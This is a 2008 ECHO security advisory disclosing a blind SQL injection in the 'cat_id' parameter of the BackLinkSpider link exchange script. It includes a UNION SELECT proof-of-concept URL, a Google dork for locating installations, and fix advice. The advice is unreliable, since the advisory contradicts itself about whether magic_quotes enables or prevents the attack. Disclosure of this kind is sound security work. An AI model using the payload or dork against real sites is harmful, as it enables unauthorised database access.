ECHO_ADV_95$2008

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[ECHO_ADV_95$2008] BackLinkSpider (cat_id) Blind Sql Injection Vulnerability

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Author         : M.Hasran Addahroni

Date           : May, 5 th 2008

Location       : Jakarta, Indonesia

Web            : http://advisories.echo.or.id/adv/adv95-K-159-2008.txt

Critical Lvl   : Medium

Impact         : System access

Where          : From Remote

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Affected software description:

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Application   : BackLinkSpider

version       : unknown

Vendor        : http://www.backlinkspider.com/

Description   :


BackLinkSpider is a free link exchange service designed to provide you with 
access to a growing number of link exchange partners in our link directory page

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Vulnerability:

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Input passed to the "cat_id" parameter in backlinkspider's page is not properly 
verified before being used to sql query. 

This can be exploited to execute sql query through the browser.

Successful exploitation requires that "magic_quotes" is enabled.



Poc/Exploit:


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http://www.target.com/[backlinkspider_page_name].php?cat_id=[SQL]

http://www.target.com/[backlinkspider_page_name].php?cat_id=-1%20union%20select%201,2,3,4,5,6,7,8,9,0,1,version(),3,4,5,6,7,8,9,0/*



Dork:

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Google    : "Powered By BackLinkSpider" "inurl:backlinkspider.php"



Solution:

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- Edit the source code to ensure that input is properly verified.

- Turn on magic_quotes in php.ini

 


Timeline:

~~~~~~~~~


- 03 - 05 - 2008 bug found

- 05 - 05 - 2008 advisory released

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Shoutz:

~~~~~

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the breath

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~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOSIATES

~ 
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~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R, kuntua, 
stev_manado, nofry,k1tk4t,0pt1c

~ [EMAIL PROTECTED]

~ #aikmel #e-c-h-o @irc.dal.net

~ special for rgod - good bye mate, thanks for the great works.

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Contact:

~~~~~~


     K-159 || echo|staff || eufrato[at]gmail[dot]com

     Homepage: http://k-159.echo.or.id/


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